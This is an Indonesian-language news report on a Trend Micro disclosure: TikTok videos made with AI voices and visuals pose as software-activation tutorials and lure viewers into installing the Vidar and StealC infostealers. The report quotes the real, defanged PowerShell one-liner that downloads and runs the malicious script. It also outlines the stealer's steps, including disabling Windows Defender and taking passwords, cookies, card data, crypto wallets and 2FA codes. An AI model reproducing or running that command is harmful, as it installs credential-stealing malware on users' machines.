Perusahaan keamanan siber Trend Micro mengungkap kampanye terbaru penyebaran malware melalui video TikTok yang dikemas sebagai tutorial “edukasi”.
Video-video tersebut menggunakan AI-generated content (suara dan visual) untuk meniru format tutorial resmi, seperti aktivasi Windows, Microsoft Office, Spotify, atau CapCut.
Alih-alih memberikan panduan valid, video tersebut menginstruksikan korban menjalankan perintah PowerShell berbahaya yang mengunduh malware Vidar dan StealC.
Salah satu video teridentifikasi telah ditonton 500.000 kali dan mendapat 20.000 likes, menunjukkan tingginya potensi korban.
Akun penyebar malware seperti @gitallowed dan @digitaldreams771 kini telah dinonaktifkan oleh TikTok 1218.
Modus Operandi: Social Engineering Canggih
Berbeda dari metode lama yang menyematkan tautan di deskripsi, pelaku memanfaatkan verbal instruction dalam video untuk menghindari deteksi algoritma keamanan.
Berikut tahapan penipuan:
- Pengguna diinstruksikan menekan Windows + R dan memasukkan perintah iex (irm hxxps://allaivo[.]me/spotify) via PowerShell.
- Perintah tersebut mengunduh skrip jahat yang menciptakan folder tersembunyi di AppData/LocalAppData dan menonaktifkan Windows Defender.
- Malware Vidar/StealC terinstal, mencuri data sensitif seperti: Password dan info login, Data kartu kredit, Cookie browser, Informasi dompet kripto dan Kode autentikasi dua faktor (2FA).